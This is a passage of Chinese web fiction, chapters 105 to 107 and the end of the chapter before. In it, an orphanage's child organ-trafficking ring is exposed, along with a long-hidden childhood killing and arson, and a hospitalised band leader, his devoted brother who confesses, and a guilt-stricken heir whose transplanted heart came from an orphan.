王军坐在了审讯室里,看着迟天境的脸色寒如冰霜,他苍老的面容因为微笑全部皱在一起:“这件事情暴露了,你觉得迟桉会做什么?” 迟天境咬牙切齿,浑身的血都在那一刻冷了下来,扣在桌子上的双手颤抖。 逮捕到王军这个跨国脏器交易案的主谋之后,所有真相终于都在那一刻水落石出。 原来慈济孤儿院是迟桉与富豪们的交易场所。 王军是中间人,迟桉则是卖家,他将健康的孩子卖给富豪,以解救医治富豪们那些天生畸形或是器官衰竭的儿女。 脏器移植,供血……一个人身上任何能够剥夺使用的都会被剥下来。所有明面上无法进行的手术也好,所有理论上无法医治的“不治之症”也好,王军提供医疗,迟桉则提供活生生的孩子,一切都做得滴水不漏,成全那些走投无路的父母。 被出卖的孩子全是孤儿,无权无势无所依靠,只能仰赖着慈济孤儿院的养育,没有人会为他们寻仇,他们甚至没有姓名,而这些孩子直到在自己死前都不明白躺上手术台意味着什么。 难怪那些被领养走的孩子在这之后都毫无音讯,原来是全部都死于非命了;难怪钟鸣说这个孤儿院是地狱;难怪慈济孤儿院失火后几乎没怎么查就被草草结案;难怪尧新雪要…… 在王军的供述里,迟天境浑身冰冷,钻心的痛苦犹如千万只蚂蚁啃噬着他,有那么一瞬间,他只能听到耳边尖锐的鸣叫。 王军已经落网,他一定不会撒谎,因为这些话只要一查就能查到。上面一直在关注这件事,不日,迟桉与王军的全部交易、账单、所有涉嫌的买家都会如同冰山浮出水面。 买卖儿童这件事一定会引起全世界的轰动。 迟桉的双手发麻,他整个人仿佛被一把刀劈成了两半,疼痛蔓延着几乎难以喘息。 他无法接受,自己的父亲真的是一个人渣,他引以为傲的父亲,他那个善良的收留儿童不赚分毫的父亲,居然会是买卖儿童的魔鬼。 而尧新雪,差点也死在了那里。 迟天的瞳孔强烈地收缩着,他抱着头,痛苦地呜咽。 他对尧新雪,都做了什么啊? 有警员拉着他走出了审讯室,迟天境现在需要避嫌,父亲迟桉也需要重新被调查,警方正式介入了慈济孤儿院的事,慈济孤儿院与跨国的脏器交易案终于要被并案重查了。 与此同时,医院内。 尧新橙站在尧新雪的旁边,小心地给尧新雪喂着粥。 电视上正播放着王军落网的消息,这件新闻已经引起了全国的轰动,尧新雪淡淡地扫了一眼,之后就摇了摇头示意不吃了。 他说:“迟天境在怀疑我。” 尧新橙轻轻地擦净他的嘴角,低着头沉默不语。 尧新雪继续道:“按照现在这个关注度,查到我们身上,不会很久,我们是唯二没有在大火之后留底的人,而迟天境,也已经知道我们就是孤儿院的人了。” 他的脸苍白得如同纸张,狭长的眼睛更像是柄锋利雪亮的刀,长睫毛垂下,就如同瓷做的人偶,美,却不带任何生气。 尧新雪叹了口气:“黑羊不能因此被拖下水。” 他偏了偏头,看向尧新橙,轻声道:“你明白了吗?” 黑羊乐队不能陷在这场人人喊打的舆论风波里,身为乐队核心的尧新雪不能染上任何污点。 这像是一个暗示,一个命令,尧新橙半跪下来,仰着脸去看尧新雪的表情。 他的心微微颤抖着,贪恋而绝望地注视着尧新雪。 他有些结巴地说:“我……” 尧新橙小时候因为结巴、瘦小,总是被欺负。孩子们把他当成破布偶,能踢则踢,能打则打,是尧新雪的出现,让他不再被打骂。 在这之后,没有人再欺负他,但是因为结巴,鲜少有人愿意听他、等他说话,也是只有尧新雪,愿意安静地、耐心地等他说完。 大火烧毁了一切,小小的尧新雪攥着那个不被关注、饱受欺凌的尧新橙的手,狂奔着出逃。 在呼啸的风与雪里,他们成为了一对兄弟,借着极度相似的姓名好似真的拥有了血缘。他们交缠的命运线被血和火染红,以假乱真,竟然真的在数十年里躲过了神和世人的监视。 时至今日,这竟已真的如同藏在血管里的血线,而人人都说血浓于水。 这条线曾经把两个没有交集的孤儿联系在一起。让尧新橙唯尧新雪至上,如同狗、狂信徒一样,崇拜、信任尧新雪。 或许这其中还藏有着隐晦的、扭曲的爱慕。 他曾经以为这条线也会紧紧地捆绑着他们走到最后一刻——那一刻尧新雪实现理想,站在千万人面前,而他会是那个站在尧新雪身边的人。 可如今看来,一切却是事与愿违。 今天阳光灿烂,尧新雪靠在病床上,肤白胜雪,璀璨的金光落在他修长的手上,他微微弯腰,倾身俯视着要尧新橙,弯着眼睛问:“你明白了吗?” 尧新橙露出了一个难看的笑容。 他和尧新雪一起经历过很多时刻。 现在这一幕,竟然和过去出租屋里的画面有着奇妙的重合。在尧新橙的眼里,阳光、摆得到处都是的乐器和乐谱、窗外的鸟鸣与尧新雪都和从前别无二致。 尧新雪。尧新雪。 早在那个万物凋零、寂静冰冷的冬天,幼小的尧新雪将那支铅笔扎进了欺负尧新橙的人的手背时。 尧新橙就打着冷颤,在这张抢回来的被揉得皱皱巴巴的纸上,歪歪扭扭地就写下:“要爱尧新雪。” 时隔数十年,尧新橙微微张开口,仰望着他,眼睛闪烁着眼泪,于是又一次——尧新橙的灵魂先于身体和理智应许了尧新雪。 尧新橙第一次勾起了笑,却抬起手指,用指腹抹去了眼角的泪,说:“哥哥,我知道了。” 尧新雪伸出手,把他拉了起来,像小时候那样温柔地抱住了他。 尧新橙甚至能嗅到尧新雪身上淡淡的香根草气息与两人相似的沐浴露味道。 他的眼泪再也克制不住,流了下来,哽咽着说:“是,哥哥,救了我。” 尧新雪抱着尧新橙,轻轻拍了拍他的背,淡声道:“不是的,是你自己。” 尧新雪垂眸,他仿佛又回到了那个阴冷的孤儿院。 那天所有孩子都在睡觉,尧新橙却忽然慌慌张张地跑了回来,钻进尧新雪的被子里。 “新雪……新雪……”尧新橙摇着他的肩膀,眼底惊惶,几乎要哭出来。 尧新雪醒了过来,甚至没有来得及问发生了什么,就听到了急促的逐渐靠近的脚步声。 他毫不犹豫地拽着尧新橙,用被子盖过了尧新橙的脑袋,低声警告道:“闭嘴。” 尧新雪闭着眼睛装睡,紧紧地抱着颤抖的尧新橙,紧接着就敏锐地感觉到了随之而来的一道视线。 有那么几秒,连尧新雪都紧张地屏住了呼吸。 那道不怀好意的目光在他的身上逡巡了很久,终于收了回去。 第二天,尧新雪带着尧新橙去到了偏僻的角落,他的表情严肃:“你听到了什么?迟桉为什么会来这里?” 尧新橙哑着嗓子,眼泪几乎要滴落:“我听到,他们惨叫,他们,不是,被领养了……” 尧新雪的眼神沉了下去,尧新橙的话让他浑身起了一层鸡皮疙瘩,短短几个字,尧新雪就大概拼出了前因后果。 他掐着尧新橙的脸,冷声道:“不准和任何人说这件事,知道了吗?你被发现了,迟桉不会放过你的。” 尧新橙的声音颤着,他呜咽着点点头,仓皇地抹去自己的眼泪。 很快,在午饭后,迟桉就叫走了尧新雪。 男孩的表情轻松,张口就是谎言。迟桉问的每一个问题,他都回答得滴水不漏。 没听过,不知道,在睡觉。 迟桉站在那里,举高临下地望着尧新雪,尧新雪的表情则始终平淡,腰背挺直。 迟桉狐疑的目光逡巡在尧新雪的身上,但尧新雪无所谓般抬起眼看他,与他对视。 迟桉也就将他放走了。 第二个被叫走的就是尧新橙。 在尧新橙即将走进办公室时,尧新雪侧过了脸,无声地给了他一个充满暗示性的眼神。 尧新橙紧紧捏着自己的衣服,低着头走进了办公室。 他太心虚了,站在迟桉面前几乎快要哭出来,如同一只发抖的亟待被屠宰的羊羔。 那颤抖的声音与畏惧、明显躲避的眼神一下就出卖了他。 迟桉当即发作,大怒道:“你听到了对不对!” 尧新橙瑟缩着,哑声道:“我没有……我没有。” 迟桉当即猛地一推将他推倒在地上,尧新橙疯狂地挣扎着,大滴大滴的眼泪流出,他抓着迟桉扣在他颈上的手,双腿不断扑腾着。 尧新雪没有离开,而是就站在门外,他静静地站在原地,听着室内的动静,他听到尧新橙的哭声,听到迟桉愤怒的声音,听到花瓶倒在地上的声音。 尧新雪低着头,他攥紧了自己的手,然后看向了左右,确认没有人会出来时,才在尧新橙逐渐微弱的呼叫声中转身。 他躲在门后,隔着一条门缝窥探着门内的情景。 尧新橙被按倒在地上,脸色发青,仿佛失去了力气,如同一条鱼,徒劳地踢着迟桉。 尧新雪的呼吸急促,他看到尧新橙在最后几秒转过脸来,看向了他。尧新橙的瞳孔颤抖着,让尧新雪想起因为过于饥饿而死去的幼猫。 在看清尧新雪后,尧新橙呜咽着企图呼救。 但尧新雪依然站在那里,一动不动。 在最后,尧新橙已经接近窒息,他的喉咙发出了咔咔声,依然死死地望着尧新雪。他不知道从哪突然爆发的力气,抓住了旁边的花瓶的瓶口,猛地将花瓶砸向了迟桉的脑袋。 砰! 花瓶粉碎。 尧新雪看到,迟桉错愕地睁大了眼睛,然后僵直地倒在了地上,汩汩的血从他的脑侧流出。 尧新雪的呼吸一瞬间放轻了,他不再犹豫,猛地推门而入。 他的动作撞倒了烛台,火沿着地毯一路烧了起来。 尧新雪说不清自己是什么心情,他感到强烈的兴奋、快意与喜悦,甚至是如释重负,他紧紧地抱着尧新橙,抱着浑身是血、气喘吁吁的尧新橙,温柔道:“没事的,没事的。” 他勾起一抹笑,迟桉死了,他终于可以离开孤儿院了。 尧新雪站起来,毫不犹豫地将迟桉柜子里的所有资料都扔进了火里,火愈烧愈烈,直到滚滚烈焰直逼他们的位置。 大火烧毁了一切,烧死了还没有完全死去的迟桉,烧毁了有关尧新雪的所有过去,烧塌了那座永远阴冷、永远充满了暴力与饥饿的孤儿院。 这把因他有意放下的烈火直到现在也依然在疯狂燃烧着。 火焰注落在尧新雪的眼瞳,时隔二十多年,他露出了一个与当时别无二致的、温柔而残忍的微笑:“乖孩子,这是我们的秘密。” 一只小狐狸,它想要爬到山顶,为此不懈地努力着。寒冬降临,它再也走不动了,它饥寒交迫,蜷缩在雪地里瑟瑟发抖。 有一只小松鼠看到了它,将树洞里藏着的唯一口粮——一颗石榴送给了狐狸。 那颗仅剩的鲜红的、饱满的石榴,那颗松鼠失去了就无法在这个冬天活下去的石榴,漂亮的狐狸毫不犹豫地就吃掉了。 它终于有力气继续去爬上那座遥不可及的山了。 尧新雪摘下了自己胸前的那块红色石头,那是很久以前尧新橙送到他手里的——因为那么像石榴,所以尧新雪把这个当成了幸运符。 他将那块石头戴在了尧新橙的颈上,轻轻地亲了一下泪流不止的尧新橙,温声道:“去吧。” 四个月过去,当公安机关为迟桉的死,准备传唤钟鸣证词里的嫌疑犯尧新雪时,尧新橙自首了。 那天尧新雪依然待在病房里,雪白的波斯猫蜷在他的手边。 他低下头,想要将脸埋在猫咪柔软的绒毛里,猫咪却跳下了床,晃着尾巴跑到了另一处。 可这一次,没有人再及时地将猫抱回到他的怀里。 尧新雪慢慢闭上了眼睛,好久之后,他才别开了脸,去看向窗外的风景。 阳光璀璨,一如多年前的某一日。 我们一起等到最后和最初的一天,世界剥破仍如新橙蘸新雪。 第105章 宋燃犀刚睡醒,他捏着睡衣的下摆,然后勾着衣服脱了下来。 他站在镜子面前,面无表情地审视着面前这具身体。 上面有着车祸留下的大面积的疤痕,烧伤如同无数条虫蜿蜒着爬上他的皮肤,其中还交错着拍戏时留下的各种伤痕。 种种痕迹几乎让人无法注意到,那开在心口上的两条伤疤。 那是手术的痕迹。 宋燃犀按着自己的心口,在安静的房间里,他能听到自己心脏扑通、扑通地跳着,这道声音曾一次又一次地有力昭示着他还活着。 他有些心神不宁地看着那片曾经被开过刀的小口,右眼皮不断地跳着,最后静默地站了好一会,才把衣服穿好,准备走下楼去。 世界顶尖的学者、医生在楼下齐聚一堂,都在等待着他,只为了给针对阿西康宁配制出特效药。 宋燃犀开出了不菲的佣金,能让在座的所有人都心甘情愿地坐在这里为了一种目前医学界都无法医治的毒素空耗时间。 他淡淡地看了这些人一眼,然后坐到了主座。 面前是尧新雪身体状况的所有资料,宋燃犀知道,他的病情在逐渐恶化,目前只能依赖着药物苦苦续命。 “先生,这个药在我们的国家之所以是违禁品,就是因为……”有人看着脸色阴沉的宋燃犀,试着开口建议道。 宋燃犀抬起手,做了个打断的手势,冷声道:“如果您是来劝我放弃的,还请出门左转,我不是让您来给我做心理医生的。” 那人哑口无言,剩下的人面面相觑,最后开始了今天的讨论。 宋燃犀看着照片上那条明显肿胀的手臂,感到钻心的疼痛。 他找了个理由出门,从烟盒抽出了一支烟叼在嘴里。 就在他准备拿出打火机点燃时,看到了在不远处浇花的应怜。 宋燃犀按住打火机的手松开了,他将那支烟又放回到了口袋里,又嗅了嗅自己身上,确认没有烟味之后才走过去。 应怜因为他的忽然靠近吓了一跳,宋燃犀却注意到了她的脸色惨白。 他观察着应怜的表情:“怎么了,妈妈?” 应怜有些出神,她勉强地笑了一下,只摇了摇头说:“没睡好。” 宋燃犀接过她手里的水壶,轻声道:“那就去休息一下,这边太晒了。” 应怜沉默了一下,然后说:“好。” 她转身看向了宋燃犀,宋燃犀如今已经比她高了这么多,如同一棵茁壮笔挺的柏树。 她是看着这个孩子从娃娃那么一小点长大到现在这个样子的。 阳光之下,宋燃犀因为她的目光有些疑惑地歪了歪头。 应怜则忍不住笑着哭了出来,她的眼泪从眼眶里涌出来,却又一直在笑着。 宋燃犀被她吓了一跳,立刻走了上去,手足无措,小声道:“怎么了?” 应怜用手背抹着自己的泪水,然后笑着说:“我是一个合格的妈妈吗?” 这个问题是那么突然,宋燃犀却毫不犹豫地回答:“当然是。” 他的目光变得温柔,轻轻地抱住了应怜:“你是天底下最好的妈妈。” 应怜依然在哽咽,她回抱住宋燃犀:“我永远不会后悔,生下你。” 宋燃犀慢慢地拍着她的背,好安抚应怜的情绪,终于在站了好一会后,他扶着应怜回到了卧室,再怎么问,应怜也不再回答了,她只是摇了摇头,然后说没事。 宋燃犀捏着自己的眉心,最后沉默地退了出去,他有些不知所措,这是应怜在宋洲死后第一次情绪失控。 他缓了口气,最后坐在了客厅里。 手机推送了一条新闻。 随着警方的全面调查,慈济孤儿院与跨国脏器交易案背后的犯罪团伙被全部揪了出来。 看到孤儿院这样的字眼,宋燃犀心一动,就点了进去。 他飞快地浏览着这条新闻,越是注意到一些细节,心就越是沉到了谷底。 买卖儿童在这两件案子背后已经形成了完整得产业链,这些产业竟然已经分布到了十几个国家,而其中国内的买家涉及了数十位富豪、多个名门望族乃至身居高位的人。 因为牵涉人员的利益过大,残害孩童的程度之惨烈,引起了整个社会的愤怒,民众高呼着买卖同罪,严查所有涉案的人员。 宋燃犀的心剧烈地跳动着,脑海里居然冒出来一个可怕的猜测,从早上就开始跳着的右眼皮仿佛是一个不祥的征兆。 他下意识地摸了摸自己的心口。 管家在这时走了上来,宋燃犀熄了手机屏,只听到管家焦急道:“有警察来,说是想要带走应女士……” 宋燃犀猛地站了起来,他深深地呼吸着,最后强行镇定道:“不要惊动我妈,我和他们谈谈,去把律师叫过来。” 管家欲言又止,最后点了点头。 警察见到宋燃犀,淡淡地点了点头,出示了拘留证:“麻烦让应怜女士出来。” 宋燃犀的脑子飞速运转着,他注视着拘留证的公章,背后起了一层冷汗:“我有权知道她要被拘留的原因。” 警察公事公办道:“应女士涉嫌买卖儿童,需要配合我们进行调查。” 其他警员已经伺机而动,宋燃犀挡在了门口,若有若无地阻挡着他们看向内里的视线:“我妈不在家,你们……” “小犀,没事的。”应怜走了出来,她轻轻拍了拍宋燃犀的肩膀,摇了摇头。 像是早有预料会有这一天,她表现得异常镇静,即使眼睛红肿。除了今天早上的情绪失控,应怜看上去甚至很坚强,她的举止优雅,仿佛依旧是那个名门小姐。 宋燃犀僵在原地,看着应怜坐上警车,他咬了咬牙,最后毫不犹豫地转身,去拿车钥匙和外套。 他面无表情地坐上车,联系了林译:“现在立刻让陈律师过来。” 他猛地一脚踩上油门,追上了那辆警车。 宋燃犀停在了警局里,他看着应怜被带进去,却只能站在原地,一动不动。 宋燃犀心乱如麻,他的眼睛通红,头痛欲裂,他不敢相信那是真的,他不敢相信自己的心脏其实属于另一个无辜的人,他不敢相信应怜和宋洲会做出…… 可应怜心甘情愿的态度已经表明了一切。 宋燃犀无法对她、对宋洲的选择有任何指责,因为如果没有他们,宋燃犀一定会死在六岁那年。 但他的活,造成了另一个孩子的死。 宋燃犀脸色苍白,他紧紧地按着心口,感到胸闷郁结,但当他的余光瞥到了某一处时,他的心又一次大震。 ——是尧新雪。 尧新雪穿着纯黑的风衣,正戴着一顶极低的鸭舌帽和口罩,风衣收束显得他腰窄腿长,即使打扮得很严实,那一绺蓝色的长发依然暴露了他。 他准确地沿着目光望了回去,然后看到了木在那的宋燃犀。 宋燃犀的脑子很混乱,看着尧新雪准备离开时,浑浑噩噩地跟了上去。 尧新雪不疾不徐地走到了角落里,懒洋洋地靠着墙,对跟过来的宋燃犀视若无睹。 宋燃犀安静地看着他,所有乱糟糟的情绪在那一秒都落了下来,他想问,你怎么在这里,却发现自己无法开口。 喉咙仿佛被捅进了一把刀,连张口都痛苦难忍。 倒是尧新雪,仰着脸,目光一寸一寸地从他的脸上滑过,末了眼睛弯了弯,露出了愉悦的笑意。 “看看你现在这副样子,宋燃犀。”尧新雪哑声道。 宋燃犀苦笑了一下:“很难看吗?” 尧新雪说:“对。”他勾着口罩,将口罩拉到了下颌,露出苍白而美丽的脸,“那是你的妈妈吗?” 宋燃犀的眼睛很痛,风好像把沙吹进了他的眼眶:“嗯。” 尧新雪勾了勾嘴角:“啊,难怪看着那么眼熟呢。”他的眼底既有怜悯,又有嘲讽,“和那么多年前,一模一样。” 宋燃犀呼吸困难,他不知道尧新雪在说什么,但是理智已经先于他的不甘愿为他补足了前因后果,这让他哑口无言。 尧新雪注视着宋燃犀这副憔悴的样子,内心感到无与伦比的快意,他的目光自上而下冷淡地扫过面前的人:“当年她就是这样看着我,像看着一件待价而沽的商品。”他抬起冰冷的手,温柔地抚摸着宋燃犀的侧脸,“像这样,摸着我的脸说,好孩子。” 宋燃犀的瞳孔放大,手颤抖着,直到被尧新雪用左手扣住了脖子,逼着他低头与他额头相碰。 尧新雪轻声道:“我是不是应该感谢,她当时没有选中我呢。” 宋燃犀缓缓吸了一口气,他心如刀绞,最后颤声道:“对不起。” 他们两个的姿势亲密无间,亲昵得像是情人般,但尧新雪的眼神却充满了恨意,他的声音沙哑:“我两次差点死在你的手里。” 他说的这一切,都只是为了让宋燃犀更有负罪感。尧新雪很疲惫,很冷,在亲手把对手、自己、朋友乃至兄弟都送进了地狱之后,他终于迟缓地感觉到了失败的滋味,这种感觉几乎在他的心里烧起了冰冷的愤怒。 他几乎是在拿宋燃犀泄愤。 尧新雪扣着宋燃犀的颈,紧紧注视着宋燃犀,牢牢地捕捉着宋燃犀眼底的痛苦与愧疚,看着宋燃犀越是心痛,越是觉得对他有所亏欠,尧新雪就越是感到报复的快感。 多么荒谬,多么可笑。 孤儿与富商之子。 命运之手曾经以这样恶劣残忍的笑话让他们短暂地相连过,他们险些就共有同一个心脏。冥冥之中似乎一切都是注定,宋燃犀数十年前就差点害死了尧新雪,而在数十年后又背叛了尧新雪两次。 钟鸣对尧新雪所犯下的一切罪行,也许是尧新雪罪有应得,但宋燃犀又凭什么? 命运对待他们多么不公,让尧新雪的乐队在此刻几乎分崩离析,让宋燃犀在失去自己的父亲之后又一次失去他的母亲。 他们本应该相互怜惜,可如今尧新雪的眼睛却充满了快乐且疯狂的笑意。他知道,当他把这尘封在过去的事告诉宋燃犀时,宋燃犀这辈子就都戴上了名叫愧疚的镣铐。 宋燃犀会再一次心甘情愿地向他低下头,宋燃犀注定会悔恨终生。 第106章 尧新雪带着律师出入了一次警局之后,就再也没回去过,他把大部分时间都花在了新曲的制作和医治右手上。 律师将会为尧新橙辩护,将他要受到的刑罚降到最低。 薛仰春收到尧新雪消息的时候,马上跑到了医院来,将近半年的时间里,她都没能见到尧新雪。 因为尧新橙不愿意透露医院的地址,他将尧新雪藏得这样好,享受着尧新雪全然依赖他,也不允许任何人的探视。 尧新雪倒是无所谓,但是如今已经不同了。 薛仰春拎着包,气喘吁吁地“砰”一声撞开病房门,只看到了病床上苍白的尧新雪。 这是整座医院最好的房间,暖融融的阳光落在尧新雪单薄的身影上,他听到声音,往门外看去,只微微地笑了一下。 薛仰春的眼睛通红,她的目光扫过尧新雪缠着绷带的右手,咬了咬唇,最后眼底泪光闪烁。 换做平时,她早就不管不顾地扑到尧新雪身上了,可现在,薛仰春却动作很轻,她搬过小椅子坐在了尧新雪的手边,小心道:“队长,你还好吗?” 尧新雪用左手卷起自己的长袖,露出了肿胀、从绷带的缝隙间能看到青紫皮肤的右手:“如你所见,不是很好。” 薛仰春张了张嘴,最后又低下了头,她继续问:“尧新橙去哪里了?” 尧新雪伸出左手,将这个眼睛红肿如灯泡的女孩轻轻地抱在怀里,像是温柔的兄长:“他过几年才能见我们。” 薛仰春慢慢伸出手回抱住他,在他的病服上蹭掉了眼泪:“他真的杀人了吗?” 即使被压了下去,薛仰春还是知道了些小道消息,她不敢相信,可这将近十年的相伴还是让她在那些模糊的照片里一眼就认出了尧新橙。 尧新雪轻声道:“你只需要知道他是正确的,他没有做错过任何事。” 薛仰春垂着眼睛,最后“嗯”了一声。 尧新雪看着眼前的薛仰春,她与过去的那个不耐烦的女孩,也已经判若两人。 他们所有人在一家廉价的酒吧相聚,然后在破烂不堪的出租屋里了解彼此的姓名,他们将手掌都搭在一起,眼睛闪烁着光,欢呼着黑羊乐队的成立。 尧新雪依然记得自己在那时就宣告道:“黑羊乐队会成为世界上最好的乐队。” 这些人因为尧新雪聚在了一起,他们甚至没有签下合约,没有工资,四个人的名字歪歪扭扭地挤在一张渗着啤酒渍的白纸上,连租一间练习室的钱都没有,为了挣钱甚至要背着设备辗转于不同的酒吧。 那是一段看起来毫无希望、毫无盼头的日子,可没有人提出过离开,要解散这支看起来毫无前途的乐队。 所有人都因为着信任尧新雪留了下来,因为他是队长,他才华横溢,能力出众,因为他永远走在所有人前面,承担了绝大部分的责任,将所有人都护在了身后,他的队友只需要考虑演奏就可以了。 这支乐队里的所有人都发自内心地相信着,“黑羊乐队会成为世界上最好的乐队”这句话,也许仅仅是因为这是尧新雪说的。 他们吃了很多很多苦,但也依然坚持了下来,哪怕这只是尧新雪一个人的梦想。 当一个人的人格魅力达到了这种程度时,人人对待他的态度也就近似为了宗教里的狂信徒。他们把尧新雪捧的这么高,爱慕中带着敬畏,自然也就没有注意到月亮的背面其实崎岖不平。 但从楚枕石的离开开始,这个美丽的幻梦仿佛就拥有了一丝裂痕,仿佛就意味着这支横空出世却又无可匹敌的乐队开始走向了下坡路。 尧新雪在那时就已经感觉得到,有些事已经逐渐地脱离他的掌控了。 可即使他这样事事谨慎,未雨绸缪,也依然没能挽回一切。 时至今日,他整个宏伟的理想竟然也如同一场巨大的幻灭,在迎来最光辉的时刻后分崩离析。 在薛仰春没有看到的角度里,尧新雪的眼神几乎变得阴沉,他咬了咬牙,左手因为憎恨收紧,骨节发出咔咔的声音。 薛仰春听到声音,忙坐直了抬头看向他:“你的手什么时候才能好?” 尧新雪的表情已恢复了温柔,他露出了自嘲的笑:“半年……也许更久?” 薛仰春毫不掩饰眼底的担忧与难过,她努力整理好自己的表情,好能像之前那样开朗:“没事的队长,你一定会好起来的。” 尧新雪点了点头:“好,谢谢你。我叫你来是想让你短期内接管一下新橙在做的事,你和罗槐一起做,我才能放心。” 薛仰春的眼睛睁大了,还没等到她抗议,尧新雪就抬了抬左手示意她先听:“我会让人来帮你们,但是你们得看着,这个时候最好不要有任何闪失,你们纠结的问题可以交由我来处理。” 他有条不紊地交代着,话音未落,却又不得不偏过头,手半握成拳挡着咳嗽。 那止不住的,看似极为痛苦的咳嗽声让薛仰春猛地回神——现在尧新雪很累,很难受,她必须做些什么。 尧新雪咳完后极轻地叹了口气,他转回来时,就看到薛仰春一副快哭出来的样子。 他喝了一口薛仰春递过来的样子,戏谑地说:“别露出这样的表情,我还没死呢。” 薛仰春吸了吸鼻子,蹦起来,和尧新雪道别:“别说这些不吉利的,我现在就去办你说的事。” 她风风火火地来,就这样风风火火地走。 尧新雪叹了口气,摇了摇头。 护工在这时把午饭送了进来,即使包装地和医院之前提供的食物别无二致,但尧新雪依然一眼看出了其中的区别。 尧新雪对食物其实相当挑剔,他其实什么都能多少吃点,但能真正让他喜欢的食物少之又少。 今天饭盒里的菜肴却全是他喜欢吃的。 尧新雪冷笑了一下,但他只如同往常一样,慢慢地用左手握起筷子。 “今天尧先生吃的比前几天的要多一点。”护工恭顺地站在宋燃犀的身边答道。 宋燃犀点了点头,就说:“你回去吧。” 因为应怜的事,他已经连轴转了大半个月,眼底已经是一片乌青。 他看着面前的公文,甚至眼前发黑,感到一阵晕眩。 应怜的事已经毫无转圜的余地,她亲口承认了自己当年为了快要病死的儿子,从慈济孤儿院带走了一个孤儿。 那个孤儿给了天生心脏衰竭的宋燃犀一线生机,让宋燃犀跨过了六岁的那场大劫。 应怜是一个母亲,也是一个罪犯。 当初造成了宋氏集团动荡,让宋洲留下挪用公款罪名的也正是因为六岁宋燃犀将死需要动手术那年,应怜和宋洲需要大量的现金。 宋燃犀当时以一己之力挽大厦之将倾,挽回了宋洲与宋氏集团的名誉,他以为是自己救了父母,却没想到其实是还了父母的恩情。 命运周而复始,一切原来早已在过去就已经埋下了伏笔。 宋燃犀痛苦地攥着自己的头发,他现在只能力求应怜在牢狱里少受点罪。应怜痛苦了那么多年,多次恳求着上天的原谅,就是因为她良心不安。 尧新雪那天告诉他的话,仿佛一座山沉沉地压在他的心上,在意识到自己差点就害死了尧新雪之后,宋燃犀感到了钻心的痛意,这强烈的痛感让他四肢发麻。 在知道尧新橙自首的事后,宋燃犀的第一反应就是,没有人照顾尧新雪。 他坐立不安,没有犹豫,就准备开车去医院,可到了尧新雪的病房前,他又站住了。 那只抬起来想要敲门的手停在了半空,末了又放了下去。 宋燃犀捂着自己的心口,他毫无形象地坐在那个病房的门前,蜷缩着流下眼泪,他甚至没有勇气敲门。 宋燃犀坐了一晚上,最后还是选择了联系医院最好的护工来照顾尧新雪。 他做什么,才能弥补他欠下的因果债呢? 宋燃犀看着那个还剩下一大半的饭盒,苦笑了一下。 其实这个问题的答案很简单,他甚至非常清楚,无论他做什么,尧新雪都不会再原谅他,无论他做什么,他都弥补不了尧新雪受到的伤害。 他欠尧新雪那么多。 在之后的半年里,宋燃犀都没有在尧新雪面前露过面,他每次都只是亲自准备好尧新雪喜好的菜,然后小心翼翼地装进饭盒里。 宋燃犀如同一个丢了魂的疯子,要么坐在宋洲的墓碑前发一整日的呆,要么在尧新雪所在的医院坐着。 某一日,当他站在三楼的走廊里,看着尧新雪走在二楼的花园中央,他的目光仿佛被那单薄的身影刺痛般,畏缩,却又是这样地依依不舍。 尧新雪穿着病号服,慢慢地走在花丛中间,那只波斯猫跑在他的前面,颈间系着的铃铛发出清脆的响声。 风吹起尧新雪蓝色的长发,有那么几秒,被吹乱的发丝遮盖住了他的侧脸。 宋燃犀的心跳砰、砰地跳着,他猛地转身躲在了墙后,恰好避开了尧新雪紧随而来的视线。 第107章 尧新雪现在的作息很混乱,病痛的折磨几乎让他彻夜难眠。在坚持了半年之后,他终于不得不使用了镇痛剂和安眠药。 尧新雪憎恨一切让他失控的东西,但是他的精神如今却是这样的脆弱,仅凭着意志力已经不能够让他继续下去了。 因为长久的病痛,尧新雪也逐渐露出了淡漠人情的一面,照顾他的人能明显地感觉到,他对待他人态度的滑坡。 但所有人都为他提心吊胆,每每看着他,就能看到他的唇几乎失去血色,而瞳色又是这样浅,整个人苍白得如同一捧细雪,惹人怜惜,生怕他就这样融化掉。 后来他吃不下任何东西,总是吃着吃着就开始呕吐。 尧新雪变得越来越瘦,因为营养不良,长期卧床,他的双腿肌肉萎缩,甚至连站起来都快要做不到了。 宋燃犀出现在他不愿意吃饭的第二天。 尧新雪睁开眼睛,看着面前那个穿着黑色风衣,表情冷峻的宋燃犀,挑了挑嘴角。 宋燃犀终于肯出现在他的面前了。 “你是不敢见我吗?”他哑声问。 宋燃犀站在尧新雪的面前,低着头望着他缠着绷带的手:“我以为你不想见我。” 看着这样的尧新雪,宋燃犀感到揪心的痛意————这么强势、这么美好的尧新雪如今变得奄奄一息,苍白无力,而这全都是由他造成的。 他给这家医院提供大笔的资金,想尽一切办法给尧新雪做好吃的,都是为了能够补偿尧新雪。 宋燃犀的眼神痛苦,他想去碰尧新雪,却只是杵在那一动不动。 他站了好一会,终于艰难地开口:“你要吃点东西,不然……特效药已经研制到下一个阶段了,你很快就能好起来了。” 宋燃犀深吸了口气,他努力组织着自己的措辞,在会议室里雷厉风行的他第一次感到说话是这样的艰难。 因为尧新雪始终无动于衷,看着他的眼神冷漠至极,仿佛他在说着一个谎言。 尧新雪已经不再信任他了,无论他做什么,说什么都没有任何作用。 尧新雪曾经对他有着近乎扭曲的占有欲,想要将他当做私有品一样完全归属于自己,因为宋燃犀一眼看穿了尧新雪“伟大理想”的背后其实是勃勃野心……与某些更丑陋的东西。 而同样看到尧新雪这一面的楚枕石选择了离开。 爱尧新雪的人那么多,恨尧新雪的人也那么多。 要么崇拜他,要么害怕他。 但宋燃犀和他本质却是同一种人,所以宋燃犀当初在那个出租屋里给予了尧新雪祝福。 后来尧新雪恨他,是因为尧新雪以为他会是一条最忠诚的狗,临了却一而再再而三地被他背叛,甚至让尧新雪为此付出了不菲的代价。 尧新雪闭了闭眼睛,再次睁开眼睛时,眼底已经露出了冷漠的讽意:“为什么你会觉得,你做这些能够得到我的原谅?” 他们应有尽有时相互利用,相互依靠,可如今一无所有时却像是一对死敌。 宋燃犀望着尧新雪的眼睛,感到锥心般的痛意,却还是一字一顿地说:“我做这些……不是为了你能原谅我,我只是希望你能好起来。只要能看到你能好,我做什么都可以。” 尧新雪注视着他,仿佛在欣赏着戏台上的丑角。 看着那个当初桀骜不驯、浑身都是少爷脾气的宋燃犀居然会露出这样乖顺、悲哀如马匹的眼神,这让尧新雪感到好笑。 他几乎想要尽情地羞辱起这个人来,他想要报复宋燃犀,想要彻底碾碎宋燃犀的自尊,好让宋燃犀清楚,到底谁才是主人,谁才是那个应该付出代价的那一个。 